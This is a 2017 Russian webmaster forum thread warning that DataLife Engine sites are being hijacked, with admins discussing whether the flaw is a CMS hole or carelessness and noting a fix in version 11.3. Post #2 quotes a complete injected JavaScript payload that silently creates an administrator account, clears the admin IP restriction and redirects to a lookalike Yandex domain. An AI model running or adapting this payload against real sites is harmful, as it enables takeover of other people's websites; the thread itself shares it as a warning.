Помощник
 |
|
|
|
|
Сообщение сайта
|
 Взламывают DLE сайты, осторожно |
MacLeo
|
Сообщение
#1
|
||
 тИЦ`анутый  Группа: Active User Сообщений: 1126 Регистрация: 1.6.2010 Поблагодарили: 320 раз Репутация:  49 
 |
|
||
 |
|
||
kagtus
|
 27.7.2017, 11:45;
Ответить: kagtus
Сообщение
#2
|
|
Бывалый Группа: User Сообщений: 421 Регистрация: 11.10.2012 Из: Kostroma Поблагодарили: 95 раз Репутация: 22
|
результат
Цитата "></a> <code style='display: none;' id='LJKwqoiDHqewE'></code> <script> function A(){ var q; try{q=new ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{q = new ActiveXObject("Microsoft.XMLHTTP");}catch (E){ q = false;}}if(!q && typeof XMLHttpRequest!='undefined'){q = new XMLHttpRequest();}return q; } var rp="/"; var ul="sitnikovavsw"; var up="d1478963D"; var um="sitnikovavsw1988@mail.УБРАТЬru"; var objhttp=A(); objhttp.onreadystatechange = function() { if (objhttp.readyState == 4) { var r=new RegExp(atob('ZGxlX2FkbWluXHMqPVxzKignfCIpKC4rPykoJ3wiKQ==')); var da=r.exec(objhttp.responseText)[2]; r=new RegExp(atob('ZGxlX2xvZ2luX2hhc2hccyo9XHMqKCd8IikoLis/KSgnfCIp')); var dh=r.exec(objhttp.responseText)[2]; objhttp.open("POST",rp+da+'?mod=editusers&action=list',true); objhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); objhttp.send('action=adduser&user_hash='+dh+'&mod=editusers®username='+ul+'®password='+up+'®email='+um+'®level=1'); var objhttp2=A(); objhttp2.onreadystatechange=function() { if(objhttp2.readyState==4) { var sd=document.getElementById('LJKwqoiDHqewE'); sd.innerHTML=objhttp2.responseText.replace(/(<script)/i,''); var ael=sd.getElementsByTagName('*'); var pd=''; r=new RegExp(atob('XihzYXZlX2Nvbik=')); for(var i=0;i<ael.length;i++) if(r.test(ael[i].name)) pd=pd+ael[i].name+'='+encodeURIComponent(ael[i].value)+'&'; pd=pd+'save_con[admin_allowed_ip]=&mod=options&action=dosavesyscon&user_hash='+dh; var objhttp3=A(); objhttp3.open('POST',rp+da+'?mod=options&action=syscon',true); objhttp3.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); objhttp3.send(pd); window.location.href = "http://yandex-metrica.УБРАТЬru/yMKTFf"; } } objhttp2.open('GET',rp+da+'?mod=options&action=syscon',true); objhttp2.send(null); } } objhttp.open('GET', rp, true); objhttp.send(null); </script><a href="http://yandex-metrica.УБРАТЬru/yMKTFf кто хочет поспамить товарищу ситникову?? Сообщение отредактировал kagtus - 27.7.2017, 11:48 -------------------- |
|
|
|
|
GlazAlmaz
|
27.7.2017, 11:48;
Ответить: GlazAlmaz
Сообщение
#3
|
 Главный SEO-стратег Группа: Super Moderator Сообщений: 3549 Регистрация: 28.8.2010 Поблагодарили: 1792 раза Репутация: 111
|
Цитата(kagtus @ 27.7.2017, 11:45)  sitnikovavsw1988@mail.ru вот и email врага расшифровали 
-------------------- |
|
|
|
Zoya83
|
27.7.2017, 12:43;
Ответить: Zoya83
Сообщение
#4
|
 Я творю тебя, жизнь... 
 Группа: Active User Сообщений: 3118 Регистрация: 28.4.2010 Из: Краснодар Поблагодарили: 3492 раза Репутация: 549
|
Ну вот как так-то....
Делаешь, делаешь, время, нервы, деньги вкладываешь... Зла не хватает. Никакой стабильности и никакого спокойствия в сети... Сообщение отредактировал Zoya83 - 27.7.2017, 12:43 -------------------- |
|
|
|
|
Virus_07
|
27.7.2017, 12:55;
Ответить: Virus_07
Сообщение
#5
|
 Онлайн 
 Группа: Active User Сообщений: 1483 Регистрация: 26.4.2010 Из: Наночастиц Поблагодарили: 572 раза Репутация: 82
|
Если честно, то очень гениально придумано. Прям классно даже.
До Взлома - тут как до китая раком. А Вот невнимательность Админа - да. Цитата(Zoya83 @ 27.7.2017, 11:43) Никакой стабильности и никакого спокойствия в сети. Зой, какая может быть стабильность в сети)) Завтра Яндекс или Гугл выкатят какой-то новый фильтр и все медным тазом накрыться может. Или наша Госдума придумает какой-то закон и тоже самое все медным тазом накроется. Сеть - такое место, где от нас мало чего зависит. |
|
|
|
|
MacLeo
|
Сообщение
#6
|
|
тИЦ`анутый Группа: Active User Сообщений: 1126 Регистрация: 1.6.2010 Поблагодарили: 320 раз Репутация: 49
|
Цитата(Virus_07 @ 27.7.2017, 9:55) До Взлома - тут как до китая раком. А Вот невнимательность Админа - да. Это согласен, но все равно это дыра в DLE, что так легко, одной ссылкой можно взять и добавить юзера с правами админа. Разве нет?
|
|
|
|
|
Virus_07
|
27.7.2017, 21:15;
Ответить: Virus_07
Сообщение
#7
|
|
Онлайн
Группа: Active User Сообщений: 1483 Регистрация: 26.4.2010 Из: Наночастиц Поблагодарили: 572 раза Репутация: 82
|
Цитата(MacLeo @ 27.7.2017, 16:46) но все равно это дыра в DLE Я бы не сказал, что дыра. Скорее Фича. У хакера нет прав админа. По сути вы сами ему создаете аккаунт админа. А что касается ссылки, так это же интернет, тут любую команду можно выполнить через адресную строку. |
|
|
|
|
LisER
|
 30.7.2017, 0:00;
Ответить: LisER
Сообщение
#8
|
|
|
Новичок Группа: Viewer Сообщений: 6 Регистрация: 18.10.2015 Поблагодарили: 0 раз Репутация: 0
|
это дыра была на ДЛЕ до 11,3 ) не давно группа разработчиков дле на своем офф сайте написали что это проблема была на всех версиях до 11,3 ) и там же было как решит эту проблему )
|
|
|
|
|
|
|
|
Похожие темы
| Тема | Ответов | Автор | Просмотров | Последний ответ | |
|---|---|---|---|---|---|
 |
 Сайты уходят в прошлоедля развития бизнеса стали не столь актуальны |
154 | muratastana | 30433 | 16.4.2024, 22:40 автор: malamut |
 |
Продам свои сайты 10 сайтов на продажу |
3 | ArchiDOM | 1443 | 5.4.2024, 3:51 автор: Llirik |
|
Есть смысл создавать сайты на латышском? | 16 | Nekit | 3907 | 31.3.2024, 1:23 автор: Liudmila |
|
Сайты с доходом на продажу. Будет ли спрос? |
46 | Telnor | 45034 | 30.3.2024, 15:37 автор: trustedadvisor |
|
Куплю хорошие сайты | 7 | Boymaster | 2431 | 25.3.2024, 12:50 автор: Wilkinson |
|
Текстовая версия | Сейчас: 18.4.2024, 21:25 |
Открываю сайт и вижу что он как бы "закрыт на тех.работы", заглушка висит. Я сразу в админку, открыл, смотрю в Редактировании пользователей появился новый админ. Понятное дело что сразу удалил, но осадок остался. 
